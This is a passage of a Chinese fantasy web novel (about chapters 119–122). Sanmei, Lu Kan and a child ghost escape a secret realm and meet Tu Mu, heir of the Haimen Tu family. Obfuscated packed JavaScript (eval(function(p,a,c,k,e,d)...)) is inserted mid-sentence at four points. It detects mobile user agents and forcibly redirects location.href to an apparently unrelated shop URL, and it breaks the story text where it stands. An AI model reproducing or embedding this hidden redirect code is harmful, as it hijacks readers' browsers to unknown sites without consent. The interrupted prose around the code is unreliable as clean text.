“你,陆衎,你......为什么?” 蹲在地上的三枚,一脸不可置信到看着陆衎,眼里的狰狞瞬间暴露无遗。 她刚想挣扎,却被小鬼头紧紧缠着,无法脱身,只好拽着陆衎的长剑,慢腾腾地站了起来。 陆衎欲像刚才刺穿云层一样,将冒充三枚的假货撕碎,却受到了一股无形的力量阻碍,握着剑柄的手好似握着一块滚烫的铁块,掌心灼烧一样的疼。 但他没有松手,反而一鼓作气,将全身的力量都投注到手上,以势不可挡的速度,将冒牌货刺在墙上。 这个时候,负气跑走的三枚,突然又从通道里窜了出来,手上端着一盆狗血,照着挣扎不停的冒牌货的头顶浇了下去。 “啊啊啊啊!!!!” 冒牌货发出撕心裂肺的惨叫,身上还滋滋冒着气泡,白色的烟雾从她的头顶,呼呼直窜。 “还不认输?”三枚将盆子一扔,从袖中抽出三根线香,“快滚蛋,不然我今天就把你这秘境给烧了。” 她说完,作势就要点燃线香。 冒牌货被陆衎刺在墙上,又被小鬼头死死抱着,它感到身上的力量好似源源不断地在被什么东西吞噬走。 低头一看,那小鬼居然把自己的脖子咬开了一个洞,正大张着嘴巴,拼命地吸走自己身上的力量。 “我是秘境之主,尔等擅闯者,竟然放肆!”它终于现出原形,变成一团缥缈的云雾,气得都变了形。 小鬼头双脚腾空,漂浮在空中,满足地擦着嘴巴,闻言轻哼一声:“主?秘境本就是无主之地,看实力说话的地儿,哪来的主儿?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988895|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “今日遇见我们仨,算是你倒霉,但你若是见好就收,我们也不是非要跟你抢这破地儿。” 小鬼头居高临下,气势斐然,看着那虚无缥缈的云雾,眼神睥睨,“但若是,你非要死缠烂打挡住我们的道儿,我也是不介意,让你尝尝魂飞魄散的滋味儿!” 三枚默默地站到陆衎的身边,对着小鬼头的背影,啧啧两声。 “这丫头,看不出来啊,这么会放狠话!” 没看那团云雾还没被怎么样,单是听了它的话,就吓得快魂飞魄散了吗? 陆衎低头看着三枚,见她瞪着水汪汪的杏眸看着前方,抿了抿唇,轻轻地握住了她的手。 三枚一愣,抬头看他:“怎么了?” 陆衎摇了摇头:“不生我的气啦?” “嗨,有什么好气的。”三枚不甚在意地挥了挥手,“你我之间,怎么可能这点默契都没有。” “再说了,不管是五铢钱,还是小棺椁,可是从小就跟着我的,连它们都没能第一时间就认出我,别说是你了。” 她拍拍陆衎的肩膀,“别担心,我没那么小气的。” 三枚的话,并没能安慰到陆衎,反而令他心里分外不是滋味。 陆衎牵着三枚的手用力攥紧,抿着嘴唇,没有说话。 小鬼头眼睛斜睨了身后一眼,接续恐吓那团烟雾,“想好了没有?” 白茫茫的烟雾,飞快地点着头,它颤抖着声音,结结巴巴地道:“只要、只要你们不觊觎我的秘境,我便、我便让你们走。” “呔!”小鬼头闻言,却是大声喝道,“什么叫你让我们走,分明就是我们仨饶你狗命!” “对对对,你说的都对。”烟雾被吓得大气都不敢喘,只好认怂,“那现在,可以、可以让我走了吗?” 小鬼头哼了一声,自己也不敢自作主张,视线在陆衎和三枚之间转了一圈,最后看着三枚道:“娘,你说!” 三枚嘴巴一撇,实在是没法接受小鬼头对自己的称呼,但念在它护了陆衎一程,现在又这么卖力树立自己的威严,也不好断然下了它的面子。 心里转了好几道弯,三枚咽下了心里的嫌弃,才开口道:“放你一马也行,但若是让我们再抓到你出言反尔耍花招,绝没有二次机会。” 烟雾点头如捣蒜:“明白,明白。” 三枚哼了一声,对着陆衎轻轻地点了下头。 陆衎这才将刺在墙上的剑,慢慢地抽了回来。 那烟雾,便似流体一样,软软地滑到了地上,扭扭曲曲地瘫成一团。 三枚蹲下身,随意地在它的身上揪了一小块,扔进方才装黑狗血的木盆里。 “揪你一小团,接下来你敢有任何的小动作,我随时能察觉。别怪我没提醒你一句,你老老实实的,等我们出了秘境,自会将这小团还给你凑个完整,否则,一把火给你烧了!” “我、我不敢的......” 三枚最后警告地瞪了烟雾一眼,转身便牵着陆衎的手,毫不犹豫地走进了来时的通道口。 “走吧,邢大哥他们,正在外头等着我们呢。” 陆衎反手握紧了三枚的手,点了点头:“嗯。” “诶,还有我呢!”小鬼头见他俩旁若无人地牵手走了,谁都没注意到它被留在原地,急得直跺脚。 “爹,娘,等等我呀......” 120. 第 120 章 “怎么回事?” 三枚和陆衎进入通道,看似笔直前进,实则一直在绕道,像是行走在迷宫中。 这条迷宫,并非平坦的道路,地下崎岖不平,好似还是上坡路,走得每一步都很艰难。 然而,无论多么地艰难,都难不倒陆衎和三枚,他们耐心地在幽暗的通道里,安静地前进、前进、再前进...... 最后终于穿过了通道,重见了光明。 耀眼的光线刺激着人的眼睛,三枚和陆衎却只是眨了一下眼睛,便适应了。 反倒是小鬼头,被吓得鬼哭狼嚎:“啊啊啊啊,疼死我,疼死我了!!!” 它一边大叫,一边躲在陆衎的身后,拽起他的衣服,将脑袋遮挡得严严实实。 换了其他时候,陆衎显然不会让它这般无理取闹,然而这个时候,他却没有多余的精力去注意它的行为。 因为,穿过迷宫一样幽深的通道之后,出现在眼前的,并非焦急等待他们的邢正等人,而是一堵与天齐高的光滑墙壁。 现实与预期出现了偏差,陆衎自己将事情想得还是太简单了。 就在这时,他回头一看,发现身后的通道已经消失不见,四周全是光秃秃的高墙。 他们像是被困在了一方神秘的天地里,周围精灵一般飞舞的白蝶,以及偶尔闪过的银白光辉。 陆衎眉头紧皱,将三枚护到身后。 “幻觉吗?”他低头看着小鬼头,沉声问道。 三枚摇头:“不是幻觉。” 她将陆衎挡在身前的手拿开,手掌向上,让飞舞的白蝶降落在掌心,她说:“这儿,才是秘境的真正出口。” 真正的出口? 陆衎环顾四周,并没有发现任何的出口。 余光瞟见身后当缩头乌龟的小鬼头,陆衎将它强行从衣摆里拽出来。 他蹲下-身,问道:“你作什么呢?” 小鬼头瞟了三枚一眼,指着她掌心越停越多的白蝶,情不自禁地抖了一下身子,声音颤抖地道:“我、我怕虫子!” 说完扑进了陆衎的怀里,紧紧地拽着他的领口,害怕地嘤嘤直叫。 三枚嘴巴一撇,不屑地嗤了一声,“你一个能在地府当上官儿的小鬼,居然害怕这么些小小的虫子?” 我怎么这么不信呢?怕不是装的! 小鬼头像是应激了一样,猛然抬起头,大声吼道:“我本来就怕虫子!虫子那么恶心恐怖,我怕一下怎么了!” 看懂了三枚脸上嫌弃和轻蔑的小表情,它更是气得直跺脚。 “你在嘲笑我?没想到啊没想到,你居然是这样的娘亲!” 它气呼呼地指着三枚:“我要你向我道歉,向世界上所有害怕虫子的人道歉,为你脸上一脸不以为然,和鄙夷不屑的傲慢态度,道歉!” 好家伙,居然扯到世界上所有人去了! 三枚看着眼圈红红的小鬼头,也怕将它惹哭了,只好收敛脸上的表情。 小手挥了挥,等掌心的白蝶飞走了,看着还一脸受伤的小鬼头,她皱着鼻子,道:“好啦好啦,我跟你道歉。” “对不起,不该觉得你被几只虫子吓得嗷嗷直叫,就傲慢地看不起你。” 她说完,还拱手作揖。 小鬼头被三枚突变的态度搞蒙了,眼睛快速地眨了眨,扭头看着陆衎,轻声道:“爹,我娘不会又被掉包了吧?” “掉你个大头包!” 三枚翻脸比翻书还快,刚才还赔礼道歉姿态做得足足的,下一刻直接双手叉腰,瞪起了眼睛。 “你别没完没了了啊。” 若不是等会儿出去,还得哄着你帮忙找出逃跑的涂塑鬼魂,我才懒得跟你浪费时间呢! 没错,三枚已经搞清楚了。 那夜强行引发百鬼夜行、假扮地府冥王的老头,就是海门涂家多年前在外逝世的其中一个族老。 涂塑这个糟老头子,道貌岸然,表面风光霁月,实则心术不正,专爱钻研旁门左道,海门记载禁术一书,就在他的手中保管着。 也不知道与黑山寨三姓之一的洪姓一族怎么勾搭上的,反正狼狈为奸,各怀心思,被带回黑山寨之后,开始霍霍起了无辜百姓的生命。 涂塑是个老谋深算的老狐狸,眼界城府,是半隐居在偏远深山里的三姓所不能比拟的,利用了三姓眼高手低,又妄图长生不死的迫切心态,几句漂亮的、虚无缥缈的话,就把三姓的人都忽悠得团团乱转。 然而这一切,不过都是为了给他借尸还魂作的垫脚石。 涂塑隐秘居住在黑山寨中,几十年来,不仅将黑渊里的灵气,都收归己有,而且还在寻找,一副身心灵都够纯粹干净的躯体,以作为他死后还魂的载体。 精心筹划多年,他终于在人生暮年之际,寻到了最合心意的——木青梅。 稚嫩的躯壳,纯粹的灵魂,通透的思想,最适合夺舍。 养尸地里已经被翻了个底朝天,除了那三兄弟外,再也挖不到任何的尸体。 显然,不管是木青梅,还是其他古井村村民的尸体,都在涂塑的手里。 百鬼夜行那夜,涂塑如愿带走了木青梅的尸体,但为了万无一失,他还必须将载体的灵魂吞食入腹,才能保证自己还魂的过程中,没有异常现象出现。 哪知道,中间突然冒出了个三枚和陆衎,强行破坏了涂塑的计划。 在对付三枚的过程中,他完美地错过了还魂的时机,最后才会突然怨气爆发,不但被陆衎砸下小棺椁后爆发的力量重创,而且还误触了秘境的结界,强行夺走了他积聚的大半能量。 危急关头,涂塑抛盔弃甲,跑了。 但势必会在下一个十六月圆夜,再次进行还魂仪式。 以三枚了解到的情况,和海门涂家的来信中,涂塑是个非常会审时度势、又睚眦必报的老家伙。 他遇事圆滑,一时摆不平的事情,绝对不会硬碰硬。 所以三枚直觉,涂塑这次遭受了重创,就绝不会允许自己在同一件事上栽跟斗,很大可能会放弃夺取木青梅完整魂魄,强行还魂。 因为没办法保证自己能在短时间内,利用寻尸技能找到涂塑,也恐自身力量不足,会让他二次逃脱,所以三枚才想着,不能得罪小鬼头,毕竟想让它帮忙。 小鬼头看着恢复正常的三枚,夸张地松了一口气,安抚似的拍了拍自己的心口,“还好还好,见您脾气一如既往这般大,我便放心了。” 三枚牙痒痒,手也痒痒,恨不得即刻将小鬼头吊起来打上一顿! 想到自己还有求于人,她只好忍下了心里的郁气。 “小鬼,等事情全部了结之后,看我怎么跟你算账!” 陆衎在三枚和其他人之间,永远只坚定地站在三枚的身边。 于是他一把将小鬼头推开,站到了三枚的跟前。 完全无视小鬼头的怒目而视,他看着三枚道:“这小鬼曾经跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997347|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过,这个秘境,是个无主之地,进的来出不去。” 本来还以为能靠自己走出秘境,没想到最后还是将三枚卷了进来。 三枚看着陆衎一脸愧疚的表情,抬手摸了摸他的脸,“你怎么这么失落?” “我能进得来,自然有办法出去。” 她信誓旦旦,忽而用力拍了下陆衎的脸,“别愁眉苦脸的,一点不适合你!” 美人什么表情都好看,但三枚就是见不惯陆衎失落的样子。 三枚佯装生气地鼓着脸,故意凶他:“我什么实力,你难道还不了解?就这么小瞧了我?” 陆衎连忙摇头:“没有。” “我就是怕拖累了你。” 三枚摆摆手:“你我,谈什么拖累,多见外啊。” 听了这话,陆衎嘴角才慢慢重现笑意,他说:“只要你不嫌弃我,便好。” 三枚肯定地道:“不嫌弃!一点不嫌弃!” 全程目睹的小鬼头:...... 它就站在陆衎和三枚的中间,抬着头,左看看她娘,又瞧瞧她爹,一脸的不可思议。 “简直开了眼了!” 实在是没想到啊没想到! 没想到陆衎人高马大一个男子汉,居然这么会装可怜扮委屈,一个垂眸失落的小表情,就把三枚给唬得一愣一愣的,一脸的心疼的样子。 但是吧,自己都能看穿是在故意吸引三枚注意力的小把戏,能骗过三枚的眼睛? 肯定不能啊,但她原因哄呀! 令小鬼头更没想到的是,陆衎也太好哄了吧! 都演上戏了,怎么也要博点更大的好处吧?一句连甜言蜜语都算不上的话,就能将陆衎给钓成翘嘴,甚至三枚的语气还那么随意。 小鬼头无奈捂脸:“我这是,给自己找了一对什么样的父母哦?” 它都开始想象,等自己投胎出世后,每天要面对的是怎样的父母爱情了。 “我说,你们俩,”小鬼头终于忍不住,高举双手,在陆衎和三枚的眼前使劲挥了挥,“能不能顾忌一下,现场还有我这个小孩子呢。” 重逢后终于对上频的陆衎和三枚,还没将心中挤压的情感表达出来呢,就被这么个不解风情的小鬼给破坏了气氛。 两人不约而同,眼神不善地斜睨着小鬼头。 小鬼头吓得往后一退,怂得直摆手:“不是、我不是故意的,实在是、实在是现在情况不适合呀......” 三枚:“怎么不合适了?” 小鬼头嘿嘿讪笑一声,指了指周围:“您瞧,是不是忘记咱还在秘境里没出去呢?” “爹娘感情和睦,作为子女我甚是感到幸福感动,但是、但是,咱们先出去吧,啊?” 出去了,想怎么培养感情怎么培养,就冲你俩这杀死人不偿命的眼神扫射,绝对没人敢吃饱了撑的故意打扰你们。 “哈哈,您说我说的对吗?”小鬼头讨好地歪头一笑。 三枚耳朵莫名一红,面上却不动声色,长袖一甩,斥道:“小孩子家家,油嘴滑舌,表情还油腻得很!” 小鬼头一噎,心道:“我一个几千几百岁的地府鬼王,哪里是什么平平无奇的小孩子家家!哼!” 面上却装得一脸天真无辜,它眨巴眨眼睛,乖巧搓着小手手,脸上保持着笑嘻嘻的喜庆表情。 三枚轻哼一声,默默又给它记上了一笔账,才牵着陆衎的手,慢慢地往墙角的方向走去。 121. 第 121 章 三枚让陆衎站在身后,自己蹲下-身,手里拿着一枚五铢钱,对着墙角扣了扣。 小鬼头被陆衎挡住视线,一气之下跳了起来,打算看看这四面高墙,到底有多高多厚。 陆衎也不管它,注意力全在三枚的身上。 看着光滑的墙角,被五铢钱抠出了些许屑沫,三枚便停下了手。 她从袖中抽出了三根线香,一边点燃,一边跟陆衎解释道:“我的瓷碗就在外头,用五彩丝绳兜着呢,八耳咬着绳子一端,等会儿香灰落下,它便能感应到,就能进来接应我们了。” 这还多亏了裴元这个世子爷,将黑山寨这一带的地域志和各种奇人异事都给她搜刮来了。 无主之地,也称秘境,不是豺狼虎穴,也没有什么特殊陷阱,其实就是个容易令人致幻的地界。 对于意志力比较薄弱的人来说,就是个致命地,但若是你本身精神力量比较强势的话,便无甚大碍。 在三枚心中,陆衎可能会陷入幻觉,但一定能够凭借自己的力量,摆脱控制。 这一点,三枚深信不疑。 令人比较棘手的一点是,秘境只有进口,没有出口。 进了秘境的人,大脑能摆脱幻觉,却出不来,只能在秘境里活活等死。 但这一点,只针对活物。 三枚也是抓住了这一点,才敢试着搏一搏,看它的锁魂箱和破瓷碗,能不能顺利将他们给拉出去。 跟陆衎稍作解释之后,三枚手掌对着线香轻轻扇了扇。 香灰摇摇欲坠的时候,飞上天空侦查的小鬼头,突然又凭空出现了。 它皱着脸,嘟嘟哝哝抱怨道:“太高太高了,我飞得那样快那样高,也看不到这破墙的尽头。” 小鬼头甚至试着往地下钻,看能不能侥幸回到地府,结果显而易见,只好又回到三枚和陆衎的身边来。 三枚睨了小鬼头一眼,狐疑地道:“你刚才,不会是想丢下我俩,自己先跑吧?” “怎么可能!”小鬼头矢口否认,小脸涨得通红。 也不知是被说中了小心思心虚了,还是真的被冤枉了气的。 三枚虽然倾向于前者,但口说无凭,而且她还记得出去之后,要这小鬼头帮忙,也没咄咄逼人刨根究底。 “哼哼。”三枚不屑一笑,斜睨了小鬼头一眼,才将香灰扇在了地上。 “准备好了吗?” 她看着陆衎问道,朝他伸手 陆衎点了点头:“嗯。”紧紧地握住了三枚的手。 小鬼头见状,眨了眨眼,立马抱紧了陆衎的大腿。 三枚只是轻轻瞥了它一眼,没说什么,转头就将手中的线香插到了地上扣出来的屑沫上。 地上的屑沫指甲盖那么一点,却能将三根长长的线香稳稳地立定。 线香插上,三枚轻轻松手,没有立即撒手撤回,而是虚扶着它,手指缓缓地上移,在燃烧的红点上,轻轻一点。 “砰!” 一声闷响,好似有什么东西,撞到了墙上。 “砰!砰!砰!” 撞击的闷响持续响起,过了好一会儿,墙角突然被从外头撞破了一个小角。 三枚眼疾手快,在瞥见墙角被破的瞬间,猛然从地上拔出线香,以迅雷不及掩耳之势,飞快地对着破洞一勾。 小鬼头眼睛瞬间瞪大:“这是......这是一个破碗?” 看清被线香勾住的东西时,它的声音陡然拔高,不可思议地抬头看着陆衎。 陆衎一脸气定神闲,注意力始终落在三枚的身上。 得不到回应的小鬼头,还想说点什么,张口的瞬间,视线陡然一暗,身子被一股强大的力量往外一拽。 等到它反应过来,想大口呼叫的时候,眼前又是骤然一亮。 猝不及防对上一双凶猛的大豆眼,小鬼头眼睫毛颤动了一下,缓缓地闭上了嘴巴,吞下了慌乱无措的呐喊。 “嗨、嗨。”它看着龇牙咧嘴的八耳,小心翼翼地打了个招呼。 小八耳豆豆眼转了又转,居高临下地、特别不屑地扫了小鬼头一眼,接着昂首挺胸地向后一退,嚯的一下就扭过了脑袋。 明明没有发出一点声响,小鬼头却好似从它那傲慢无礼的态度里,听见了特别大声的嗤笑声。 好一只趾高气昂的小野鸡!!! 小鬼头从未受到过如此鄙夷不屑的眼神,气得它猛然从地上暴起,张牙舞爪就要手撕了那小野鸡。 这时三枚的声音,从边上悠悠传来:“好不容易才从秘境出来,难不成你就要恩将仇报?” 小鬼头身子一僵,“啥意思?” 三枚坐在地上,下巴朝八耳的方向点了点,“若非八耳和他们,咱们谁都出不来。” 闻言,小鬼头这才发现,他们现在所处的环境,就是一片荒郊野外。 天上的月亮弯弯,洒下的光亮,照亮了一方土地。 月光之下,站着两个人高马大的男子。 一个脸黑如炭,魁梧壮硕,一个长了双十分迷人的桃花眼,在夜风习习的黑夜里,拿着一把破折扇扇啊扇的,也不怕着凉。 “他们,谁呀?”看见陌生人,小鬼头第一时间就是装乖巧。 三枚嫌弃地翻了个白眼:“这个你别管,这会儿赶紧回你的地府查查,那叫做涂塑的老家伙,到底藏在哪里?” 涂塑? 小鬼头愣了一瞬,忽而又“啊”了一声,拍着脑门说道:“我都忘了告诉你们了,那假装冥王的老东西,就叫涂塑,他呀——” “废话少说!”三枚抬手,及时掐断了小鬼头要长篇大论的苗头,“大致的情况,我都猜得差不多了。” “现在当务之急,就是把涂塑这个老家伙的藏身之处,给我找出来。” 她从地上站了起来,“你在地府当官儿的,不会连找个畏罪逃脱的小鬼,都做不到吧?” “谁说不能!” 激将法一出,小鬼头立马上钩,它皱着鼻子,攥着拳头大声道:“你等着!” 说完也不等三枚回答,小脑袋往地下一扎,噗通一声就没了影。 从方才开始就强装淡定的裴元,见小鬼头消失不见了,紧绷的神经一松,整个人往地上一瘫,也顾不得地上脏不脏了。 “哎呀,疼死老子了!” 他像条泥鳅一样,在地上扭着身子,“这个破秘境,这么歹毒,竟然在千钧一发之际,突降响雷,差点没将我们几个给劈成干尸!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009439|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 当时他和邢正听从三枚的吩咐,就守在八耳的身边,瞥见兜着破瓷碗的五彩绳开始动了之后,立马狂敲锁魂箱。 见破瓷碗穿过空气,凭空消失了一大半,八耳也只眯着眼睛不动如山的时候,裴元急得与邢正面面相觑。 就在他刚出声,要向小八耳问点什么的时候,手里的锁魂箱突然发出一声闷响,接着拖着他猛然向前冲去。 邢正那边抱着小八耳,根本分不出手来拉着他,就在他被带着一直对着空气撞击的时候,破瓷碗突然叮铃响了一声。 听见这声有些熟悉的响铃声,浑身骨头差点被撞得散架的裴元,眼睛猛然一亮,转头还没来得及跟邢正报喜呢,天上突然开始电闪雷鸣了起来。 一记超级大响雷,就在他的头顶乍然响起。 以为自己即将被雷劈死的裴元,视死如归地闭上了眼睛,身下的锁魂箱也配合地哐哐响了起来。 睁眼的瞬间,就看见三枚和陆衎,被小八耳和邢正合力从空气里拉了出来。 裴元痛得龇牙咧嘴,又想大声欢呼,丢下锁魂箱,张开双臂就要扑向陆衎的瞬间,余光瞥见陆衎腿上的挂件,脸上表情立马绷紧。 演戏演全套,他立正站好,甚至顺手抽出了夹在腰上的破折扇,假装从容淡定地扇着扇子,微笑地看着地上倒成一团的几人。 现在小鬼头消失,裴元立马没了逞强的心思,哎呀哎呀地叫唤了起来。 “陆在野,小三枚啊,你们终于出来了!” 他开始可怜兮兮地卖惨:“你们是不知道啊,我刚才差点就被雷给劈死了,本来以我的身手,完全能躲过天上骤降的雷电。” “但是呀,一想到你们俩还深陷困境,我愣是没放手啊,咬紧牙关强顶着被雷劈,也要好好护住这锁魂箱啊。” 三枚:...... 我这锁魂箱,偶尔承受下电闪雷鸣之类的,不仅没啥大碍,没准还能变得更强呢! 心里这样想的,但她没敢说出口,否则裴元指定跟她没完。 三枚倒不是怕裴元无理取闹,毕竟一物降一物,陆衎在呢。 但是吧,今晚守在八耳和锁魂箱身边的裴元和邢正,都是为了她和陆衎。 毕竟连三枚自己都没敢保证,自己的方法一定能够救出陆衎,全靠豪赌一把。 赢了,皆大欢喜。 输了,估计在场有一个算一个,都别想活命了。 好在老天有眼,他们赌赢了。 三枚抱起小八耳,对着裴元和邢正道:“今晚,多亏了有你们在。” 陆衎扶起裴元,拍掉他身上的灰尘泥土,轻声道:“辛苦了。” “我陆在野,欠你俩一条命。” 裴元虽然故意卖惨,就是想听几句好听的话,但真从小三枚和陆衎嘴里听见了道谢的话,反而浑身不自在了起来。 “干嘛呀,都是兄弟,说这些想膈应谁啊?”他突然恼羞成怒了起来,夸张地挥开了陆衎搭在肩上的手。 邢正豪爽一笑:“子钰说得对,都是自己人,说这些就显得见外了不是?” “只要你们人没事就好。” 陆衎和三枚对视一眼,忽而嘴角上扬,“是啊,好在大家都没事。” 122. 第 122 章 “你们海门涂家,就来了你这么个小小徒孙?” 三枚看着站在眼前的男子,眉头微皱,眼神充满了审视。 男子上中等的身材,肩宽背厚,身体十分结实,斜背着包袱,腋下夹着把雨伞。 面庞却稚嫩得仿佛能掐出水来,眼神纯净明亮,仿若干净无辜、不知人间险恶的小白兔,估摸年纪,该是还未及冠。 听见三枚的话,又被从头到脚打量了一遍,男子局促地脚趾扣地,脸涨得通红一片。 “俺、俺们师叔师祖,闭关修炼中,门里只好、只好派俺先、先打打头阵......” 他支支吾吾,一句话说得结结巴巴,不敢直视三枚,眼睛一直看着地上。 “本来以为来了个有力的竞争对手,没想到这家伙,不说话还好,一说话土到掉渣哦!” 比乡下土包子还土包子! 裴元小声在陆衎耳边蛐蛐,末了拍怕陆衎肩膀:“陆在野,这下你可以放心了。” “这家伙跟你一点都比不了,小三枚看他的眼神,比看边上那个小鬼头还嫌弃。” 陆衎闻言,斜睨了裴元一眼,面无表情地道:“把对别人评头论足的功夫,用来轻轻你大脑里的垃圾,岂不更好?” 都什么时候了,还满脑子乱七八糟。 成功将裴元看得心里发毛,不敢再嘚瑟信口胡诌了,陆衎才移开视线,慢慢地站到了三枚的身边。 三枚拍了拍手边的位置,让他坐下。 见海门那小徒孙,脚指头还在地下抠城墙呢,她又指了指边上,“坐着吧,子时还未到,要清理门户,还得等一会儿呢。” “对了,你刚说自己叫什么来着?” 男子刚要坐下,听见三枚的声音,立马又站了起来。 “俺、俺叫涂木。”他说完,又满脸羞愧地道:“涂塑,是俺的族老叔。” 三枚眼尾一挑:木克土,下克上,果然简单粗暴! 这家伙看似平平无奇,脖子上却印着罗盘方印。 与他们山门序家代表家主的铢钱之印一般,海门涂家的家主之印,乃罗盘方印。 这小子,看来是海门涂家,板上钉钉的继任家主了。 现在再看他唯唯诺诺的动作神态,三枚杏眼微眯,轻哼一声:“小子,怕不是在扮猪吃虎?” 涂远东和涂达西这两个助纣为虐的贼耗子,死期将近矣! —— 小鬼头从地府回来的时候,随机蹦现的地点,正好在黑渊的那条神秘的崖道上。 而涂木恰在此时,刚要从黑渊的崖道上出来。 寻尸人和小鬼头,差点相撞,两脸蒙圈,面面相觑之下,互相点了个头。 本想分道扬镳的涂木,半道被小鬼头喊住。 “你是寻尸人?”小鬼头问道。 涂木脚下一顿,转头看它:“对。” 回答完,他下一瞬,又满脸为难地看了小鬼头一眼。 “抱歉哈,”涂木指着自己的脖子,不好意思地道:“但是,在下专为含冤横死之人,寻尸化怨。” “但并非所有的冤魂,欲要在下寻尸,您得先敲响我们门下梦锣。” 解释完后,他观察了下小鬼头的面相,继续说:“依在下所观,您该是染疾而死,并且有被好生安棺入葬,并不需要我等寻尸。” 小鬼头嘴巴微张,满脸错愕。 自己明明是从涂木的身上嗅到了与涂塑那老东西一样的血脉,好奇想问一句罢了。 结果什么都还没说,这小子怎么自说自话、罗里吧嗦个不停? 涂木见小鬼头脸上的神色,慢慢的从好奇变成了嫌弃。 他挠了挠脑袋,以为它是不满被自己拒绝。 思考了一会儿,涂木又道:“若是,您不介意,在下可以跟您介绍一下,我们门下的其他寻尸人,亦可以为您解决其他的烦恼。” 他寻思小鬼头,估计是游走人间的孤魂游鬼,找不到通往地府的道路,可能也错过了轮回往生的机会。 本着相遇便是机缘,涂木打算让族里的人,为小鬼头引下路,好让它早日投胎。 从怀里后一个小本本,他抽出了其中一张黄符纸。 “这个,您拿好。” 涂木将黄符纸塞到小鬼头的手里,“这是我的师兄,海门最厉害的引路师,你拿着这张符纸找他,定能投到令自己心满意足的好胎。” “这样奇妙?” 本来还一脸不耐烦的小鬼头,闻言脸色突变,两眼放光地看着涂木,确认道:“真能让我投到心满意足的好胎?” 涂木身子一顿,怕小鬼头贪得无厌,最后适得其反,于是委婉劝道:“我师兄平生最恶,得寸进尺之人,您提要求的时候,尽量简洁适中一点。” 好家伙!好家伙!好家伙! 不管真假,小鬼头反正是信了,它将黄符纸塞进冲天辫里,朝涂木鞠了一躬,“多谢哈!” 它说完双脚腾空,咻的一下就消失了,仿佛慢一秒,涂木这小子就会反悔似的。 涂木心情大好,以为自己又拯救了一个孤苦无依的小灵魂,因为身担清理门户大任的沉重肩膀,仿佛一下子就轻松了不少。 直到他在三枚指定的位置坐下,对上了角落那个梳着冲天辫、眼神晶晶亮,朝着自己歪头咧嘴嘻嘻笑的小鬼头。 “你!”涂木顿时大惊失色,指着小鬼头道:“你、怎么在这儿?” “嗨!”小鬼头嘿嘿一笑,朝他挥了挥手,“又见面啦。” 三枚与陆衎对视一眼,视线在小鬼头和涂木之间转了一圈,最后斜睨了小鬼头一眼,“认识?” 小鬼头眨了眨眼,一脸的天真无辜,它说:“哦,方才来找你的路上,见过那么一面。” “嘻嘻,是吧?”它特别淡定从容,转头问涂木。 涂木愣了一瞬,“是,没错,但是......” “什么但是不但是的,相逢就是机缘,不到半个时辰,咱们就见了两次面,也算是一种缘分了。” 小鬼头没等涂木将话说完,就抢过了话头,说完笑得一脸乖巧。 “哇!这小鬼,原来是只滑头鬼,油腔滑调这么会说话!” 看那山门序家主跟它如此熟稔的态度,想必不是只普通的小鬼。 不行!介绍师兄的黄符纸,一定要拿回来。 涂木复杂的心理活动,全都写在了脸上。 三枚不用问,用脚指头想,都能猜到他是在小鬼头那儿吃了亏。 根本不想多管闲事的三枚,挠了挠下巴,打算睁一只眼闭一只眼,就当没看见不知道。 “你也别管。”她自己不想管,也叮嘱陆衎一句。 陆衎摇头:“我不管。” 三枚:“嗯,多一事不如少一事,这俩都不像省油的灯。” 涂木起身,走向小鬼头。 小鬼头心虚,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019794|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状连忙护着头上的冲天辫,周围扫了一圈,一下子就闪到了三枚的身后。 “娘,救我!”它大声嚷嚷,手却往边上一扒拉,拽住了陆衎的胳膊。 娘? 涂木抬头,终于正眼看向了三枚,但又飞快移开,视线在被小鬼头扒拉住胳膊的陆衎身上,轻轻地扫了一下。 “她喊她娘?”他问完,又指着陆衎:“这位,不会是你爹吧?” 小鬼头闻言,脑袋高高一昂,嘟起嘴巴:“正是!” “啥玩意儿!!!” 看戏的裴元,一把推开涂木,手指发颤,指着陆衎和三枚,大声道:“娘?爹?” 三枚眼睛一闭,一拍脑门,无语至极。 